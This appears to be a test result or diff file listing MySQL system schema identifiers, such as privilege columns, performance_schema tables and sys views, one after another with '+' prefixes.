+accounts +ACTION_CONDITION +ACTION_ORDER +ACTION_ORIENTATION +ACTION_REFERENCE_NEW_ROW +ACTION_REFERENCE_NEW_TABLE +ACTION_REFERENCE_OLD_ROW +ACTION_REFERENCE_OLD_TABLE +ACTION_STATEMENT +ACTION_TIMING +ACTIVE_SINCE +ADMINISTRABLE_ROLE_AUTHORIZATIONS +allocated +ALLOCATED_SIZE +Alter_priv +Alter_routine_priv +APPLICABLE_ROLES +APPLYING_TRANSACTION +APPLYING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER +APPLYING_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP +APPLYING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +APPLYING_TRANSACTION_RETRIES_COUNT +APPLYING_TRANSACTION_START_APPLY_TIMESTAMP +argument +Assign_gtids_to_anonymous_transactions_type +Assign_gtids_to_anonymous_transactions_value +ATTRIBUTE +ATTR_NAME +ATTR_VALUE +authentication_string +AUTOCOMMIT +AUTOEXTEND_SIZE +AUTOINC +AUTO_INCREMENT +auto_increment_ratio +AUTO_POSITION +AVG_COUNT +AVG_COUNT_RESET +avg_latency +avg_read +AVG_ROW_LENGTH +avg_rows_sorted +avg_sort_merges +AVG_STATEMENTS_WAIT +AVG_TIMER_DELETE +AVG_TIMER_EXECUTE +AVG_TIMER_FETCH +AVG_TIMER_INSERT +AVG_TIMER_MISC +AVG_TIMER_READ +AVG_TIMER_READ_EXTERNAL +AVG_TIMER_READ_HIGH_PRIORITY +AVG_TIMER_READ_NO_INSERT +AVG_TIMER_READ_NORMAL +AVG_TIMER_READ_ONLY +AVG_TIMER_READ_WITH_SHARED_LOCKS +AVG_TIMER_READ_WRITE +AVG_TIMER_UPDATE +AVG_TIMER_WAIT +AVG_TIMER_WRITE +AVG_TIMER_WRITE_ALLOW_WRITE +AVG_TIMER_WRITE_CONCURRENT_INSERT +AVG_TIMER_WRITE_EXTERNAL +AVG_TIMER_WRITE_LOW_PRIORITY +AVG_TIMER_WRITE_NORMAL +avg_tmp_tables_per_query +avg_us +avg_write +avg_written +BACKEND_KEY_ID +BASE_POS +binary_log_transaction_compression_stats +Bind +BLOCK_ID +blocking_account +BLOCKING_ENGINE_LOCK_ID +BLOCKING_ENGINE_TRANSACTION_ID +BLOCKING_EVENT_ID +blocking_lock_duration +blocking_lock_id +blocking_lock_mode +blocking_lock_type +BLOCKING_OBJECT_INSTANCE_BEGIN +blocking_pid +blocking_query +BLOCKING_THREAD_ID +blocking_trx_age +blocking_trx_id +blocking_trx_rows_locked +blocking_trx_rows_modified +blocking_trx_started +BLOCK_OPS_IN +BLOCK_OPS_OUT +BUCKET_NUMBER +BUCKET_QUANTILE +BUCKET_TIMER_HIGH +BUCKET_TIMER_LOW +buffer_pool_instance +CARDINALITY +CATALOG_NAME +CHANNEL +Channel_name +CHARACTER_MAXIMUM_LENGTH +CHARACTER_OCTET_LENGTH +CHARACTER_SET_CLIENT +CHARACTER_SET_NAME +CHARACTER_SETS +CHECK_CLAUSE +CHECK_CONSTRAINTS +CHECK_OPTION +Checkpoint_group_bitmap +Checkpoint_group_size +Checkpoint_master_log_name +Checkpoint_master_log_pos +Checkpoint_relay_log_name +Checkpoint_relay_log_pos +Checkpoint_seqno +CHECKSUM +CHECK_TIME +clustered_index_size +CLUST_INDEX_SIZE +cnt +COLLATION +COLLATION_CHARACTER_SET_APPLICABILITY +COLLATION_CONNECTION +COLLATION_NAME +COLLATIONS +COLUMN_COMMENT +COLUMN_DEFAULT +COLUMN_KEY +COLUMN_NAME +Column_priv +COLUMN_PRIVILEGES +COLUMNS +COLUMNS_EXTENSIONS +columns_priv +COLUMN_STATISTICS +COLUMN_TYPE +COMMAND +command_type +COMMENT +component +component_group_id +component_id +component_urn +COMPRESSED +COMPRESSED_BYTES_COUNTER +COMPRESSED_SIZE +COMPRESSION_ALGORITHM +COMPRESSION_PERCENTAGE +COMPRESSION_TYPE +compress_ops +compress_ops_ok +compress_time +cond_instances +Configuration +CONFIGURED_BY +CONNECTION_RETRY_COUNT +CONNECTION_RETRY_INTERVAL +CONNECTION_TYPE +Connect_retry +conn_id +CONSTRAINT_CATALOG +CONSTRAINT_NAME +CONSTRAINT_SCHEMA +CONSTRAINT_TYPE +CONSUMER_LEVEL +CONTEXT_INVOLUNTARY +CONTEXT_VOLUNTARY +CONTROLLED_MEMORY +CONVERSION_FACTOR +Correction +cost_name +cost_value +COUNT +COUNT_ADDRINFO_PERMANENT_ERRORS +COUNT_ADDRINFO_TRANSIENT_ERRORS +COUNT_ALLOC +COUNT_AUTHENTICATION_ERRORS +COUNT_AUTH_PLUGIN_ERRORS +COUNT_BUCKET +COUNT_BUCKET_AND_LOWER +COUNT_CONFLICTS_DETECTED +COUNT_DEFAULT_DATABASE_ERRORS +COUNT_DELETE +COUNTER +COUNT_EXECUTE +COUNT_FCRDNS_ERRORS +COUNT_FETCH +COUNT_FORMAT_ERRORS +COUNT_FREE +COUNT_HANDSHAKE_ERRORS +COUNT_HOST_ACL_ERRORS +COUNT_HOST_BLOCKED_ERRORS +COUNT_INIT_CONNECT_ERRORS +COUNT_INSERT +COUNT_LOCAL_ERRORS +COUNT_MAX_USER_CONNECTIONS_ERRORS +COUNT_MAX_USER_CONNECTIONS_PER_HOUR_ERRORS +COUNT_MISC +COUNT_NAMEINFO_PERMANENT_ERRORS +COUNT_NAMEINFO_TRANSIENT_ERRORS +COUNT_NO_AUTH_PLUGIN_ERRORS +COUNT_PROXY_USER_ACL_ERRORS +COUNT_PROXY_USER_ERRORS +COUNT_READ +COUNT_READ_EXTERNAL +COUNT_READ_HIGH_PRIORITY +COUNT_READ_NO_INSERT +COUNT_READ_NORMAL +COUNT_READ_ONLY +COUNT_READ_WITH_SHARED_LOCKS +COUNT_READ_WRITE +COUNT_RECEIVED_HEARTBEATS +COUNT_REPREPARE +COUNT_RESET +COUNT_SECONDARY +COUNT_SSL_ERRORS +COUNT_STAR +COUNT_STATEMENTS +COUNT_TRANSACTIONS_CHECKED +COUNT_TRANSACTIONS_IN_QUEUE +COUNT_TRANSACTIONS_LOCAL_PROPOSED +COUNT_TRANSACTIONS_LOCAL_ROLLBACK +COUNT_TRANSACTIONS_REMOTE_APPLIED +COUNT_TRANSACTIONS_REMOTE_IN_APPLIER_QUEUE +COUNT_TRANSACTIONS_RETRIES +COUNT_TRANSACTIONS_ROWS_VALIDATING +COUNT_UNKNOWN_ERRORS +COUNT_UPDATE +COUNT_WRITE +COUNT_WRITE_ALLOW_WRITE +COUNT_WRITE_CONCURRENT_INSERT +COUNT_WRITE_EXTERNAL +COUNT_WRITE_LOW_PRIORITY +COUNT_WRITE_NORMAL +cpu_latency +CPU_SYSTEM +CPU_TIME +CPU_USER +CREATED +CREATED_TMP_DISK_TABLES +CREATED_TMP_TABLES +CREATE_OPTIONS +Create_priv +Create_role_priv +Create_routine_priv +Create_tablespace_priv +CREATE_TIME +Create_tmp_table_priv +Create_user_priv +Create_view_priv +CREATION_TIME +current_alloc +current_allocated +current_avg_alloc +CURRENT_CONNECTIONS +current_count +CURRENT_COUNT_USED +current_max_alloc +current_memory +CURRENT_NUMBER_OF_BYTES_USED +CURRENT_SCHEMA +current_statement +DATA +DATABASE_COLLATION +database_name +DATABASE_PAGES +DATA_FREE +DATA_LENGTH +data_locks +data_lock_waits +DATA_SIZE +DATA_TYPE +DATETIME_PRECISION +db +DB +DEFAULT_CHARACTER_SET_NAME +DEFAULT_COLLATE_NAME +DEFAULT_COLLATION_NAME +DEFAULT_ENCRYPTION +DEFAULT_ROLE_HOST +default_roles +DEFAULT_ROLE_USER +DEFAULT_VALUE +DEFINER +DEFINITION +DELETED_ROWS +delete_latency +Delete_priv +DELETE_RULE +deletes +DESCRIPTION +DESIRED_DELAY +device_type +DIGEST +DIGEST_TEXT +disk_tmp_tables +dl +DOC_COUNT +DOC_ID +DOCUMENTATION +dominant_index_columns +dominant_index_name +dominant_index_non_unique +Drop_priv +Drop_role_priv +DTD_IDENTIFIER +DURATION +enabled +Enabled_auto_position +ENABLED_ROLES +Enabled_ssl +ENCRYPTION +END_EVENT_ID +END_LSN +ENDS +ENFORCED +ENGINE +ENGINE_ATTRIBUTE +engine_cost +ENGINE_LOCK_ID +engine_name +ENGINES +ENGINE_TRANSACTION_ID +epoch +err_count +ERROR_CODE +error_handling +error_log +ERROR_NAME +ERROR_NUMBER +error_pct +ERRORS +event +EVENT_BODY +EVENT_CATALOG +event_class +EVENT_COMMENT +EVENT_DEFINITION +EVENT_ID +EVENT_MANIPULATION +EVENT_NAME +EVENT_OBJECT_CATALOG +EVENT_OBJECT_SCHEMA +EVENT_OBJECT_TABLE +Event_priv +events +EVENTS +EVENT_SCHEMA +events_errors_summary_by_account_by_error +events_errors_summary_by_host_by_error +events_errors_summary_by_thread_by_error +events_errors_summary_by_user_by_error +events_errors_summary_global_by_error +events_stages_current +events_stages_history +events_stages_history_long +events_stages_summary_by_account_by_event_name +events_stages_summary_by_host_by_event_name +events_stages_summary_by_thread_by_event_name +events_stages_summary_by_user_by_event_name +events_stages_summary_global_by_event_name +events_statements_current +events_statements_histogram_by_digest +events_statements_histogram_global +events_statements_history +events_statements_history_long +events_statements_summary_by_account_by_event_name +events_statements_summary_by_digest +events_statements_summary_by_host_by_event_name +events_statements_summary_by_program +events_statements_summary_by_thread_by_event_name +events_statements_summary_by_user_by_event_name +events_statements_summary_global_by_event_name +events_transactions_current +events_transactions_history +events_transactions_history_long +events_transactions_summary_by_account_by_event_name +events_transactions_summary_by_host_by_event_name +events_transactions_summary_by_thread_by_event_name +events_transactions_summary_by_user_by_event_name +events_transactions_summary_global_by_event_name +events_waits_current +events_waits_history +events_waits_history_long +events_waits_summary_by_account_by_event_name +events_waits_summary_by_host_by_event_name +events_waits_summary_by_instance +events_waits_summary_by_thread_by_event_name +events_waits_summary_by_user_by_event_name +events_waits_summary_global_by_event_name +event_time +EVENT_TYPE +example +exec_count +exec_secondary_count +EXECUTE_AT +Execute_priv +EXECUTION_ENGINE +EXPRESSION +EXTENT_SIZE +EXTERNAL_LANGUAGE +EXTERNAL_LOCK +EXTERNAL_NAME +EXTRA +fetch_latency +File +FILE_ID +file_instances +file_io_latency +file_ios +FILE_NAME +File_priv +FILES +FILE_SIZE +file_summary_by_event_name +file_summary_by_instance +FILE_TYPE +FILTER_NAME +FILTER_RULE +FIRST_DOC_ID +FIRST_ERROR_SEEN +FIRST_SEEN +FIRST_TRANSACTION_COMPRESSED_BYTES +FIRST_TRANSACTION_ID +FIRST_TRANSACTION_TIMESTAMP +FIRST_TRANSACTION_UNCOMPRESSED_BYTES +FIX_COUNT +FLAG +FLAGS +FLUSH_TYPE +FOR_COL_NAME +FOR_NAME +FREE_BUFFERS +FREE_EXTENTS +FREE_PAGE_CLOCK +FREQUENCY +FROM_HOST +FROM_USER +FS_BLOCK_SIZE +full_scan +full_scans +FULLTEXT_KEYS +func +gci +general_log +GENERATION_EXPRESSION +GEOMETRY_TYPE_NAME +Get_public_key +global_grants +global_status +global_variables +GRANTEE +GRANTEE_HOST +GRANTOR +GRANTOR_HOST +Grant_priv +GROUP_NAME +GTID +gtid_executed +Gtid_only +gtid_tag +HAS_DEFAULT +Heartbeat +HEARTBEAT_INTERVAL +help_category +help_category_id +help_keyword +help_keyword_id +help_relation +help_topic +help_topic_id +high_alloc +high_avg_alloc +high_count +HIGH_COUNT_USED +HIGH_NUMBER_OF_BYTES_USED +HISTOGRAM +HISTORY +HIT_RATE +HOST +host_cache +hosts +host_summary +host_summary_by_file_io +host_summary_by_file_io_type +host_summary_by_stages +host_summary_by_statement_latency +host_summary_by_statement_type +HOST_VALIDATED +ID +Ignored_server_ids +index_columns +INDEX_COMMENT +INDEX_ID +INDEX_LENGTH +INDEX_NAME +Index_priv +INDEX_SCHEMA +INDEX_TYPE +INFO +INITIAL_SIZE +innodb_buffer_allocated +innodb_buffer_data +innodb_buffer_free +INNODB_BUFFER_PAGE +INNODB_BUFFER_PAGE_LRU +innodb_buffer_pages +innodb_buffer_pages_hashed +innodb_buffer_pages_old +INNODB_BUFFER_POOL_STATS +innodb_buffer_rows_cached +innodb_buffer_stats_by_schema +innodb_buffer_stats_by_table +INNODB_CACHED_INDEXES +INNODB_CMP +INNODB_CMPMEM +INNODB_CMPMEM_RESET +INNODB_CMP_PER_INDEX +INNODB_CMP_PER_INDEX_RESET +INNODB_CMP_RESET +INNODB_COLUMNS +INNODB_DATAFILES +INNODB_FIELDS +INNODB_FOREIGN +INNODB_FOREIGN_COLS +INNODB_FT_BEING_DELETED +INNODB_FT_CONFIG +INNODB_FT_DEFAULT_STOPWORD +INNODB_FT_DELETED +INNODB_FT_INDEX_CACHE +INNODB_FT_INDEX_TABLE +INNODB_INDEXES +innodb_index_stats +innodb_lock_waits +INNODB_METRICS +innodb_redo_log_files +INNODB_SESSION_TEMP_TABLESPACES +INNODB_TABLES +INNODB_TABLESPACES +INNODB_TABLESPACES_BRIEF +innodb_table_stats +INNODB_TABLESTATS +INNODB_TEMP_TABLE_INFO +INNODB_TRX +INNODB_VIRTUAL +insert_id +insert_latency +Insert_priv +inserts +INSTANT_COLS +INSTRUMENTED +INSUFFICIENT_PRIVILEGES +INTERNAL_LOCK +international +interval_end +INTERVAL_FIELD +interval_start +INTERVAL_VALUE +io_by_thread_by_latency +IO_FIX +io_global_by_file_by_bytes +io_global_by_file_by_latency +io_global_by_wait_by_bytes +io_global_by_wait_by_latency +io_latency +io_misc_latency +io_misc_requests +io_read +io_read_latency +io_read_requests +ios +io_write +io_write_latency +io_write_requests +IP +IS_COMPILED +IS_DEFAULT +IS_DETERMINISTIC +Is_DST +IS_FULL +IS_GRANTABLE +IS_HASHED +IS_MANDATORY +IS_NULLABLE +ISOLATION_LEVEL +IS_OLD +is_signed +IS_STALE +is_unsigned +IS_UPDATABLE +IS_VISIBLE +KEY +KEY_COLUMN_USAGE +KEY_ID +KEY_OWNER +keyring_component_status +keyring_keys +KEYWORDS +LAST_ACCESS_TIME +LAST_ALTERED +LAST_APPLIED_TRANSACTION +LAST_APPLIED_TRANSACTION_END_APPLY_TIMESTAMP +LAST_APPLIED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_MESSAGE +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_NUMBER +LAST_APPLIED_TRANSACTION_LAST_TRANSIENT_ERROR_TIMESTAMP +LAST_APPLIED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_APPLIED_TRANSACTION_RETRIES_COUNT +LAST_APPLIED_TRANSACTION_START_APPLY_TIMESTAMP +LAST_CONFLICT_FREE_TRANSACTION +LAST_DOC_ID +LAST_ERROR_MESSAGE +LAST_ERROR_NUMBER +LAST_ERROR_SEEN +LAST_ERROR_TIMESTAMP +LAST_EXECUTED +LAST_HEARTBEAT_TIMESTAMP +last_insert_id +LAST_PROCESSED_TRANSACTION +LAST_PROCESSED_TRANSACTION_END_BUFFER_TIMESTAMP +LAST_PROCESSED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_PROCESSED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_PROCESSED_TRANSACTION_START_BUFFER_TIMESTAMP +LAST_QUEUED_TRANSACTION +LAST_QUEUED_TRANSACTION_END_QUEUE_TIMESTAMP +LAST_QUEUED_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +LAST_QUEUED_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +LAST_QUEUED_TRANSACTION_START_QUEUE_TIMESTAMP +LAST_SEEN +last_statement +last_statement_latency +LAST_TRANSACTION_COMPRESSED_BYTES +LAST_TRANSACTION_ID +LAST_TRANSACTION_TIMESTAMP +LAST_TRANSACTION_UNCOMPRESSED_BYTES +last_update +LAST_UPDATE_TIME +last_wait +last_wait_latency +latency +latest_file_io +LEN +LOAD_OPTION +LOCAL +LOCK_DATA +LOCK_DURATION +LOCKED_BY_THREAD_ID +locked_index +locked_table +locked_table_name +locked_table_partition +locked_table_schema +locked_table_subpartition +locked_type +lock_latency +LOCK_MODE +LOCK_STATUS +Lock_tables_priv +lock_time +LOCK_TYPE +LOGFILE_GROUP_NAME +LOGFILE_GROUP_NUMBER +LOGGED +log_status +LOG_TYPE +LOW_COUNT_USED +LOW_NUMBER_OF_BYTES_USED +LRU_IO_CURRENT +LRU_IO_TOTAL +LRU_POSITION +Managed_name +Managed_type +Master_compression_algorithm +Master_log_name +Master_log_pos +Master_zstd_compression_level +MATCH_OPTION +max_connections +MAX_CONTROLLED_MEMORY +MAX_COUNT +MAX_COUNT_RESET +MAX_DATA_LENGTH +MAXIMUM_SIZE +max_latency +MAXLEN +max_questions +MAX_SESSION_CONTROLLED_MEMORY +MAX_SESSION_TOTAL_MEMORY +MAX_STATEMENTS_WAIT +MAX_TIMER_DELETE +MAX_TIMER_EXECUTE +MAX_TIMER_FETCH +MAX_TIMER_INSERT +MAX_TIMER_MISC +MAX_TIMER_READ +MAX_TIMER_READ_EXTERNAL +MAX_TIMER_READ_HIGH_PRIORITY +MAX_TIMER_READ_NO_INSERT +MAX_TIMER_READ_NORMAL +MAX_TIMER_READ_ONLY +MAX_TIMER_READ_WITH_SHARED_LOCKS +MAX_TIMER_READ_WRITE +MAX_TIMER_UPDATE +MAX_TIMER_WAIT +MAX_TIMER_WRITE +MAX_TIMER_WRITE_ALLOW_WRITE +MAX_TIMER_WRITE_CONCURRENT_INSERT +MAX_TIMER_WRITE_EXTERNAL +MAX_TIMER_WRITE_LOW_PRIORITY +MAX_TIMER_WRITE_NORMAL +MAX_TOTAL_MEMORY +max_updates +max_user_connections +MAX_VALUE +MEMBER_COMMUNICATION_STACK +MEMBER_HOST +MEMBER_ID +MEMBER_PORT +MEMBER_ROLE +MEMBER_STATE +MEMBER_VERSION +memory_by_host_by_current_bytes +memory_by_thread_by_current_bytes +memory_by_user_by_current_bytes +memory_global_by_current_bytes +memory_global_total +memory_summary_by_account_by_event_name +memory_summary_by_host_by_event_name +memory_summary_by_thread_by_event_name +memory_summary_by_user_by_event_name +memory_summary_global_by_event_name +memory_tmp_tables +MERGE_THRESHOLD +MESSAGES_RECEIVED +MESSAGES_SENT +MESSAGE_TEXT +metadata_locks +METER +metrics +METRIC_TYPE +MIN_COUNT +MIN_COUNT_RESET +min_latency +MIN_STATEMENTS_WAIT +MIN_TIMER_DELETE +MIN_TIMER_EXECUTE +MIN_TIMER_FETCH +MIN_TIMER_INSERT +MIN_TIMER_MISC +MIN_TIMER_READ +MIN_TIMER_READ_EXTERNAL +MIN_TIMER_READ_HIGH_PRIORITY +MIN_TIMER_READ_NO_INSERT +MIN_TIMER_READ_NORMAL +MIN_TIMER_READ_ONLY +MIN_TIMER_READ_WITH_SHARED_LOCKS +MIN_TIMER_READ_WRITE +MIN_TIMER_UPDATE +MIN_TIMER_WAIT +MIN_TIMER_WRITE +MIN_TIMER_WRITE_ALLOW_WRITE +MIN_TIMER_WRITE_CONCURRENT_INSERT +MIN_TIMER_WRITE_EXTERNAL +MIN_TIMER_WRITE_LOW_PRIORITY +MIN_TIMER_WRITE_NORMAL +MIN_VALUE +misc_latency +MISSING_BYTES_BEYOND_MAX_MEM_SIZE +MODIFIED_COUNTER +MODIFIED_DATABASE_PAGES +MTYPE +mutex_instances +MYSQL_ERRNO +mysql_version +NAME +N_CACHED_PAGES +N_COLS +ndb_binlog_index +NESTING_EVENT_ID +NESTING_EVENT_LEVEL +NESTING_EVENT_TYPE +NETWORK_INTERFACE +Network_namespace +NEWEST_MODIFICATION +next_file +next_position +N_FIELDS +NODEGROUP +NO_GOOD_INDEX_USED +no_good_index_used_count +NO_INDEX_USED +no_index_used_count +no_index_used_pct +NON_UNIQUE +NOT_YOUNG_MAKE_PER_THOUSAND_GETS +n_rows +NULLABLE +NUMBER_OF_BYTES +Number_of_lines +NUMBER_OF_RELEASE_SAVEPOINT +NUMBER_OF_ROLLBACK_TO_SAVEPOINT +NUMBER_OF_SAVEPOINTS +Number_of_workers +NUMBER_PAGES_CREATED +NUMBER_PAGES_GET +NUMBER_PAGES_READ +NUMBER_PAGES_READ_AHEAD +NUMBER_PAGES_WRITTEN +NUMBER_READ_AHEAD_EVICTED +NUMBER_RECORDS +NUMERIC_PRECISION +NUMERIC_SCALE +NUM_ROWS +NUM_TYPE +OBJECT_INSTANCE_BEGIN +OBJECT_NAME +OBJECT_SCHEMA +objects_summary_global_by_type +OBJECT_TYPE +Offset +OLD_DATABASE_PAGES +OLDEST_MODIFICATION +ON_COMPLETION +OPEN_COUNT +OPERATION +OPTIMIZER_TRACE +OPTIONS +ORDINAL_POSITION +ORGANIZATION +ORGANIZATION_COORDSYS_ID +orig_epoch +ORIGINATOR +orig_server_id +OTHER_INDEX_SIZE +Owner +OWNER_EVENT_ID +OWNER_OBJECT_NAME +OWNER_OBJECT_SCHEMA +OWNER_OBJECT_TYPE +OWNER_THREAD_ID +PACKED +PAD_ATTRIBUTE +PAGE_FAULTS_MAJOR +PAGE_FAULTS_MINOR +PAGE_NO +PAGE_NUMBER +pages +PAGES_CREATE_RATE +pages_free +pages_hashed +page_size +PAGES_MADE_NOT_YOUNG_RATE +PAGES_MADE_YOUNG +PAGES_MADE_YOUNG_RATE +PAGES_NOT_MADE_YOUNG +pages_old +PAGES_READ_RATE +PAGE_STATE +pages_used +PAGES_WRITTEN_RATE +PAGE_TYPE +PARAMETER_MODE +PARAMETER_NAME +PARAMETERS +PARAMETER_STYLE +parent_category_id +PARENT_THREAD_ID +PARTITION_COMMENT +PARTITION_DESCRIPTION +PARTITION_EXPRESSION +PARTITION_METHOD +PARTITION_NAME +PARTITION_ORDINAL_POSITION +PARTITIONS +Password +password_expired +password_history +password_last_changed +password_lifetime +Password_require_current +Password_reuse_history +Password_reuse_time +Password_timestamp +PATH +PENDING_DECOMPRESS +PENDING_FLUSH_LIST +PENDING_FLUSH_LRU +PENDING_READS +percentile +performance_timers +persisted_variables +pid +plugin +PLUGIN_AUTHOR +PLUGIN_DESCRIPTION +PLUGIN_LIBRARY +PLUGIN_LIBRARY_VERSION +PLUGIN_LICENSE +PLUGIN_NAME +PLUGINS +PLUGIN_STATUS +PLUGIN_TYPE +PLUGIN_TYPE_VERSION +PLUGIN_VERSION +POOL_ID +POOL_SIZE +Port +POS +POSITION +POSITION_IN_UNIQUE_CONSTRAINT +prepared_statements_instances +PRIO +priority +PRIV +Privilege_checks_hostname +PRIVILEGE_CHECKS_USER +Privilege_checks_username +PRIVILEGES +PRIVILEGE_TYPE +PROCESSING_TRANSACTION +PROCESSING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +PROCESSING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +PROCESSING_TRANSACTION_START_BUFFER_TIMESTAMP +processlist +PROCESSLIST +PROCESSLIST_COMMAND +PROCESSLIST_DB +PROCESSLIST_HOST +PROCESSLIST_ID +PROCESSLIST_INFO +PROCESSLIST_STATE +PROCESSLIST_TIME +PROCESSLIST_USER +Process_priv +Proc_priv +procs_priv +PROFILING +program_name +progress +PROPERTIES +PROPERTY +Proxied_host +Proxied_user +proxies_priv +PRTYPE +ps_check_lost_instrumentation +Public_key_path +PURPOSE +QUANTILE_95 +QUANTILE_99 +QUANTILE_999 +QUERY +QUERY_ID +QUERY_SAMPLE_SEEN +QUERY_SAMPLE_TEXT +QUERY_SAMPLE_TIMER_WAIT +query_time +QUEUEING_TRANSACTION +QUEUEING_TRANSACTION_IMMEDIATE_COMMIT_TIMESTAMP +QUEUEING_TRANSACTION_ORIGINAL_COMMIT_TIMESTAMP +QUEUEING_TRANSACTION_START_QUEUE_TIMESTAMP +READ_AHEAD_EVICTED_RATE +READ_AHEAD_RATE +read_latency +READ_LOCKED_BY_COUNT +RECEIVED_TRANSACTION_SET +RECOVER_TIME +redundant_index_columns +redundant_index_name +redundant_index_non_unique +REF_COL_NAME +REF_COUNT +REFERENCED_COLUMN_NAME +REFERENCED_TABLE_NAME +REFERENCED_TABLE_SCHEMA +References_priv +REFERENTIAL_CONSTRAINTS +REF_NAME +Relay_log_name +Relay_log_pos +Reload_priv +relocation_ops +relocation_time +REMAINING_DELAY +Repl_client_priv +REPLICATION +replication_applier_configuration +replication_applier_filters +replication_applier_global_filters +replication_applier_status +replication_applier_status_by_coordinator +replication_applier_status_by_worker +replication_asynchronous_connection_failover +replication_asynchronous_connection_failover_managed +replication_connection_configuration +replication_connection_status +replication_group_configuration_version +replication_group_member_actions +replication_group_members +replication_group_member_stats +Repl_slave_priv +requested +REQUESTING_ENGINE_LOCK_ID +REQUESTING_ENGINE_TRANSACTION_ID +REQUESTING_EVENT_ID +REQUESTING_OBJECT_INSTANCE_BEGIN +REQUESTING_THREAD_ID +Require_row_format +Require_table_primary_key_check +RESERVED +RESOURCE_GROUP +RESOURCE_GROUP_ENABLED +RESOURCE_GROUP_NAME +RESOURCE_GROUPS +RESOURCE_GROUP_TYPE +ret +Retry_count +RETURNED_SQLSTATE +ROLE +ROLE_COLUMN_GRANTS +role_edges +ROLE_HOST +ROLE_NAME +ROLE_ROUTINE_GRANTS +ROLE_TABLE_GRANTS +ROUTINE_BODY +ROUTINE_CATALOG +ROUTINE_COMMENT +ROUTINE_DEFINITION +ROUTINE_NAME +ROUTINES +ROUTINE_SCHEMA +ROUTINE_TYPE +ROW_FORMAT +ROWS_AFFECTED +rows_affected_avg +rows_cached +rows_deleted +rows_examined +rows_examined_avg +rows_fetched +rows_full_scanned +rows_inserted +rows_selected +rows_sent +rows_sent_avg +rows_sorted +rows_updated +rwlock_instances +sample_size +SAVEPOINTS +schema_auto_increment_columns +schema_index_statistics +SCHEMA_NAME +schema_object_overview +schemaops +SCHEMA_PRIVILEGES +schema_redundant_indexes +SCHEMATA +schema_table_lock_waits +schema_table_statistics +schema_table_statistics_with_buffer +schema_tables_with_full_table_scans +SCHEMATA_EXTENSIONS +schema_unused_indexes +SECONDARY_ENGINE_ATTRIBUTE +SECURITY_TYPE +SELECT_FULL_JOIN +SELECT_FULL_RANGE_JOIN +select_latency +Select_priv +SELECT_RANGE +SELECT_RANGE_CHECK +SELECT_SCAN +SEQ +SEQ_IN_INDEX +server_cost +server_id +Server_name +servers +SERVER_UUID +SERVER_VERSION +SERVICE_STATE +session +session_account_connect_attrs +session_connect_attrs +session_ssl_status +session_status +session_variables +set_by +SET_HOST +SET_TIME +setup_actors +setup_consumers +setup_instruments +setup_meters +setup_metrics +setup_objects +setup_threads +SET_USER +Show_db_priv +Show_view_priv +Shutdown_priv +SIZE +SIZE_IN_BYTES +slave_master_info +slave_relay_log_info +slave_worker_info +slow_log +Socket +SOCKET_ID +socket_instances +socket_summary_by_event_name +socket_summary_by_instance +SORTLEN +SORT_MERGE_PASSES +SORT_RANGE +SORT_ROWS +SORT_SCAN +sorts_using_scans +sort_using_range +SOURCE +Source_connection_auto_failover +SOURCE_FILE +SOURCE_FUNCTION +SOURCE_LINE +source_uuid +SPACE +SPACE_ID +SPACE_TYPE +SPACE_VERSION +SPECIFIC_CATALOG +SPECIFIC_NAME +SPECIFIC_SCHEMA +SPINS +SQL_DATA_ACCESS +Sql_delay +sql_drop_index +sql_kill_blocking_connection +sql_kill_blocking_query +SQL_MODE +SQL_PATH +SQL_STATE +sql_text +SRS_ID +SRS_NAME +SSL_ALLOWED +Ssl_ca +SSL_CA_FILE +Ssl_capath +SSL_CA_PATH +Ssl_cert +SSL_CERTIFICATE +Ssl_cipher +Ssl_crl +SSL_CRL_FILE +Ssl_crlpath +SSL_CRL_PATH +Ssl_key +ssl_sessions_reused +ssl_type +Ssl_verify_server_cert +SSL_VERIFY_SERVER_CERTIFICATE +ssl_version +START_LSN +STARTS +start_time +stat_description +STATE +statement +statement_analysis +statement_avg_latency +STATEMENT_ID +statement_latency +STATEMENT_NAME +statements +statements_with_errors_or_warnings +statements_with_full_table_scans +statements_with_runtimes_in_95th_percentile +statements_with_sorting +statements_with_temp_tables +STATISTICS +stat_name +STATS_INITIALIZED +STATUS +status_by_account +status_by_host +status_by_thread +status_by_user +STATUS_KEY +STATUS_VALUE +stat_value +ST_GEOMETRY_COLUMNS +STORAGE_ENGINES +ST_SPATIAL_REFERENCE_SYSTEMS +ST_UNITS_OF_MEASURE +SUB_PART +subpart_exists +SUBPARTITION_EXPRESSION +SUBPARTITION_METHOD +SUBPARTITION_NAME +SUBPARTITION_ORDINAL_POSITION +SUBSYSTEM +SUM_CONNECT_ERRORS +SUM_CPU_TIME +SUM_CREATED_TMP_DISK_TABLES +SUM_CREATED_TMP_TABLES +SUM_ERROR_HANDLED +SUM_ERROR_RAISED +SUM_ERRORS +SUM_LOCK_TIME +SUM_NO_GOOD_INDEX_USED +SUM_NO_INDEX_USED +SUM_NUMBER_OF_BYTES_ALLOC +SUM_NUMBER_OF_BYTES_FREE +SUM_NUMBER_OF_BYTES_READ +SUM_NUMBER_OF_BYTES_WRITE +sum_of_other_index_sizes +SUM_ROWS_AFFECTED +SUM_ROWS_EXAMINED +SUM_ROWS_SENT +SUM_SELECT_FULL_JOIN +SUM_SELECT_FULL_RANGE_JOIN +SUM_SELECT_RANGE +SUM_SELECT_RANGE_CHECK +SUM_SELECT_SCAN +SUM_SORT_MERGE_PASSES +SUM_SORT_RANGE +SUM_SORT_ROWS +SUM_SORT_SCAN +SUM_STATEMENTS_WAIT +SUM_TIMER_DELETE +SUM_TIMER_EXECUTE +SUM_TIMER_FETCH +SUM_TIMER_INSERT +SUM_TIMER_MISC 